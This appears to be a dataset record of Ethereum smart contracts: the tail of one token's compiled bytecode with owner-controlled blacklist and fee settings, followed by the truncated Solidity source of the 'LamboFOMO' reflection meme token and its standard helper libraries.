5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b600c5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b691c7296039c2cd890000090565b610ac6611c21565b6000546001600160a01b03908116911614610b16576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b601355565b610b23611c21565b6000546001600160a01b03908116911614610b73576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0382161415610bcf5760405162461bcd60e51b8152600401808060200182810382526022815260200180612f0c6022913960400191505060405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610c3d576040805162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b03166000818152600960205260408120805460ff19166001908117909155600a805491820181559091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319169091179055565b610cab611c21565b6000546001600160a01b03908116911614610cfb576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000610d2a848484611d11565b610d9a84610d36611c21565b610d9585604051806060016040528060288152602001612f2e602891396001600160a01b038a16600090815260056020526040812090610d74611c21565b6001600160a01b03168152602081019190915260400160002054919061217d565b611c25565b5060019392505050565b610dac611c21565b6000546001600160a01b03908116911614610dfc576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b60018110158015610e0e575060198111155b610e5f576040805162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015290519081900360640190fd5b600e55565b6000600b54821115610ea75760405162461bcd60e51b815260040180806020018281038252602a815260200180612e2f602a913960400191505060405180910390fd5b6000610eb1612214565b9050610ebd8382612237565b9150505b919050565b600d5490565b601290565b6000610a02610ede611c21565b84610d958560056000610eef611c21565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612280565b6000610f29611c21565b6001600160a01b03811660009081526007602052604090205490915060ff1615610f845760405162461bcd60e51b815260040180806020018281038252602c81526020018061300a602c913960400191505060405180910390fd5b6000610f8f836122da565b505050506001600160a01b038416600090815260036020526040902054919250610fbb91905082612337565b6001600160a01b038316600090815260036020526040902055600b54610fe19082612337565b600b55600c54610ff19084612280565b600c55505050565b6012546001600160a01b031681565b6000691c7296039c2cd8900000831115611069576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81611088576000611079846122da565b50939550610a06945050505050565b6000611093846122da565b50929550610a06945050505050565b7f000000000000000000000000649d0f7357d189d8c61332423d8bc990e1d6584a81565b6110ce611c21565b6000546001600160a01b0390811691161461111e576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b60006111293061122b565b905061113481612379565b50565b6001600160a01b031660009081526006602052604090205460ff1690565b61115d611c21565b6000546001600160a01b039081169116146111ad576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b600181101580156111bf575060198111155b611210576040805162461bcd60e51b815260206004820152601a60248201527f7461784665652073686f756c6420626520696e2031202d203235000000000000604482015290519081900360640190fd5b600d55565b60025490565b601254600160a81b900460ff1681565b6001600160a01b03811660009081526007602052604081205460ff161561126b57506001600160a01b038116600090815260046020526040902054610ec1565b6001600160a01b038216600090815260036020526040902054610a0690610e64565b611295611c21565b6000546001600160a01b039081169116146112e5576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526005815264504c55544f60d81b602082015290565b611365611c21565b6000546001600160a01b039081169116146113b5576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b601455565b6000610a026113c7611c21565b84610d958560405180606001604052806025815260200161303660259139600560006113f1611c21565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061217d565b600e5490565b6000610a02611435611c21565b8484611d11565b611444611c21565b6000546001600160a01b03908116911614611494576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6114c7611c21565b6000546001600160a01b03908116911614611517576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526009602052604090205460ff16611584576040805162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c6973746564000000000000604482015290519081900360640190fd5b60005b600a5481101561167357816001600160a01b0316600a82815481106115a857fe5b6000918252602090912001546001600160a01b0316141561166b57600a805460001981019081106115d557fe5b600091825260209091200154600a80546001600160a01b0390921691839081106115fb57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600990915260409020805460ff19169055600a80548061164457fe5b600082815260209020810160001990810180546001600160a01b0319169055019055611673565b600101611587565b5050565b6011546001600160a01b031681565b6001600160a01b031660009081526007602052604090205460ff1690565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6116d7611c21565b6000546001600160a01b03908116911614611727576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b60128054911515600160a81b0260ff60a81b19909216919091179055565b61174d611c21565b6000546001600160a01b0390811691161461179d576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156117f95760405162461bcd60e51b8152600401808060200182810382526022815260200180612fe86022913960400191505060405180910390fd5b6001600160a01b03811660009081526007602052604090205460ff1615611867576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b038116600090815260036020526040902054156118c1576001600160a01b0381166000908152600360205260409020546118a790610e64565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b61192f611c21565b6000546001600160a01b0390811691161461197f576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b6001600160a01b0381166119c45760405162461bcd60e51b8152600401808060200182810382526026815260200180612e596026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b611a27611c21565b6000546001600160a01b03908116911614611a77576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b47611134816125b0565b60135490565b4790565b611a93611c21565b6000546001600160a01b03908116911614611ae3576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16611b50576040805162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c75646564000000000000000000604482015290519081900360640190fd5b60005b60085481101561167357816001600160a01b031660088281548110611b7457fe5b6000918252602090912001546001600160a01b03161415611c1957600880546000198101908110611ba157fe5b600091825260209091200154600880546001600160a01b039092169183908110611bc757fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600880548061164457fe5b600101611b53565b3390565b6001600160a01b038316611c6a5760405162461bcd60e51b8152600401808060200182810382526024815260200180612fc46024913960400191505060405180910390fd5b6001600160a01b038216611caf5760405162461bcd60e51b8152600401808060200182810382526022815260200180612e7f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611d565760405162461bcd60e51b8152600401808060200182810382526025815260200180612f9f6025913960400191505060405180910390fd5b6001600160a01b038216611d9b5760405162461bcd60e51b8152600401808060200182810382526023815260200180612e0c6023913960400191505060405180910390fd5b60008111611dda5760405162461bcd60e51b8152600401808060200182810382526029815260200180612f766029913960400191505060405180910390fd5b6001600160a01b03831660009081526009602052604090205460ff1615611e3e576040805162461bcd60e51b8152602060048201526013602482015272165bdd48185c9948189b1858dadb1a5cdd1959606a1b604482015290519081900360640190fd5b3360009081526009602052604090205460ff1615611e99576040805162461bcd60e51b8152602060048201526013602482015272165bdd48185c9948189b1858dadb1a5cdd1959606a1b604482015290519081900360640190fd5b3260009081526009602052604090205460ff1615611ef4576040805162461bcd60e51b8152602060048201526013602482015272165bdd48185c9948189b1858dadb1a5cdd1959606a1b604482015290519081900360640190fd5b611efc61132f565b6001600160a01b0316836001600160a01b031614158015611f365750611f2061132f565b6001600160a01b0316826001600160a01b031614155b15611f7c57601354811115611f7c5760405162461bcd60e51b8152600401808060200182810382526028815260200180612ec36028913960400191505060405180910390fd5b611f8461132f565b6001600160a01b0316836001600160a01b031614158015611fbe5750611fa861132f565b6001600160a01b0316826001600160a01b031614155b8015611ffc57507f000000000000000000000000649d0f7357d189d8c61332423d8bc990e1d6584a6001600160a01b0316826001600160a01b031614155b801561201357506001600160a01b03821661dead14155b1561206a5760006120238361122b565b905060145482820111156120685760405162461bcd60e51b8152600401808060200182810382526022815260200180612ea16022913960400191505060405180910390fd5b505b60006120753061122b565b9050601354811061208557506013545b60125469017b7883c0691660000082101590600160a01b900460ff161580156120b75750601254600160a81b900460ff165b80156120c05750805b80156120fe57507f000000000000000000000000649d0f7357d189d8c61332423d8bc990e1d6584a6001600160a01b0316856001600160a01b031614155b1561211e5761210c82612379565b47801561211c5761211c476125b0565b505b6001600160a01b03851660009081526006602052604090205460019060ff168061216057506001600160a01b03851660009081526006602052604090205460ff165b15612169575060005b61217586868684612640565b505050505050565b6000818484111561220c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121d15781810151838201526020016121b9565b50505050905090810190601f1680156121fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008060006122216127b4565b90925090506122308282612237565b9250505090565b600061227983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612937565b9392505050565b600082820183811015612279576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008060008060008060008060006122f78a600d54600e5461299c565b9250925092506000612307612214565b9050600080600061231a8e8787876129f1565b919e509c509a509598509396509194505050505091939550919395565b600061227983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061217d565b6012805460ff60a01b1916600160a01b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106123ba57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561243357600080fd5b505afa158015612447573d6000803e3d6000fd5b505050506040513d602081101561245d57600080fd5b505181518290600190811061246e57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506124b9307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c25565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561255e578181015183820152602001612546565b505050509050019650505050505050600060405180830381600087803b15801561258757600080fd5b505af115801561259b573d6000803e3d6000fd5b50506012805460ff60a01b1916905550505050565b6011546001600160a01b03166108fc6125ca836005612237565b6040518115909202916000818181858888f193505050501580156125f2573d6000803e3d6000fd5b506012546001600160a01b03166108fc612618600861261285600a612237565b90612a41565b6040518115909202916000818181858888f19350505050158015611673573d6000803e3d6000fd5b8061264d5761264d612a9a565b6001600160a01b03841660009081526007602052604090205460ff16801561268e57506001600160a01b03831660009081526007602052604090205460ff16155b156126a35761269e848484612acc565b6127a1565b6001600160a01b03841660009081526007602052604090205460ff161580156126e457506001600160a01b03831660009081526007602052604090205460ff165b156126f45761269e848484612bf0565b6001600160a01b03841660009081526007602052604090205460ff1615801561273657506001600160a01b03831660009081526007602052604090205460ff16155b156127465761269e848484612c99565b6001600160a01b03841660009081526007602052604090205460ff16801561278657506001600160a01b03831660009081526007602052604090205460ff165b156127965761269e848484612cdd565b6127a1848484612c99565b806127ae576127ae612d50565b50505050565b600b546000908190691c7296039c2cd8900000825b6008548110156128f5578260036000600884815481106127e557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061284a575081600460006008848154811061282357fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561286957600b54691c7296039c2cd890000094509450505050612933565b6128a9600360006008848154811061287d57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612337565b92506128eb60046000600884815481106128bf57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612337565b91506001016127c9565b50600b5461290d90691c7296039c2cd8900000612237565b82101561292d57600b54691c7296039c2cd8900000935093505050612933565b90925090505b9091565b600081836129865760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156121d15781810151838201526020016121b9565b50600083858161299257fe5b0495945050505050565b60008080806129b660646129b08989612a41565b90612237565b905060006129c960646129b08a89612a41565b905060006129e1826129db8b86612337565b90612337565b9992985090965090945050505050565b6000808080612a008886612a41565b90506000612a0e8887612a41565b90506000612a1c8888612a41565b90506000612a2e826129db8686612337565b939b939a50919850919650505050505050565b600082612a5057506000610a06565b82820282848281612a5d57fe5b04146122795760405162461bcd60e51b8152600401808060200182810382526021815260200180612eeb6021913960400191505060405180910390fd5b600d54158015612aaa5750600e54155b15612ab457612aca565b600d8054600f55600e8054601055600091829055555b565b600080600080600080612ade876122da565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612b109088612337565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612b3f9087612337565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b6e9086612280565b6001600160a01b038916600090815260036020526040902055612b9081612d5e565b612b9a8483612de7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612c02876122da565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612c349087612337565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612c6a9084612280565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612b6e9086612280565b600080600080600080612cab876122da565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612b3f9087612337565b600080600080600080612cef876122da565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612d219088612337565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612c349087612337565b600f54600d55601054600e55565b6000612d68612214565b90506000612d768383612a41565b30600090815260036020526040902054909150612d939082612280565b3060009081526003602090815260408083209390935560079052205460ff1615612de25730600090815260046020526040902054612dd19084612280565b306000908152600460205260409020555b505050565b600b54612df49083612337565b600b55600c54612e049082612280565b600c55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373526563697069656e742065786365656473206d61782077616c6c65742073697a652e5472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7757652063616e6e6f7420626c61636b6c69737420556e695377617020726f7574657245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207d3d62d656e9005c215289b4fe87dfaf2fe8f36e4bcc9e9aa8bbe4a1e7bd2b6764736f6c634300060c0033
[ 0, 21, 4, 11, 13 ]
0xf28c128290ac87dbb3b40f432e2d76cdeb717fc4
/** *Submitted for verification at Etherscan.io on 2021-05-22 */ /** * LamboFOMO is a lighthearted deflationary meme token, with a massive anti pump & dump tax applied to every transaction. This tax is sophisticated and rewards loyal users on the long term. * * ==== Telegram : https://t.me/LamboFOMOCoin * * ==== Website: https://lambofomo.com/ * * */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require( success, 'Address: unable to send value, recipient may have reverted' ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, 'Address: low-level call with value failed' ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, 'Address: insufficient balance for call' ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract LamboFOMOToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**5 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Lambo$FOMO'; string private _symbol = '$FOMO'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 3750000 * 10**5 * 10**9; constructor() public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 'ERC20: transfer amount exceeds allowance' ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); } function rescueFromContract() external onlyOwner { address payable _owner = _msgSender(); _owner.transfer(address(this).balance); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], 'Excluded addresses cannot call this function' ); (uint256 rAmount, , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, 'Amount must be less than supply'); if (!deductTransferFee) { (uint256 rAmount, , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require(rAmount <= _rTotal, 'Amount must be less than total reflections'); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], 'Account is already excluded'); if (_rOwned[account] > 0) { 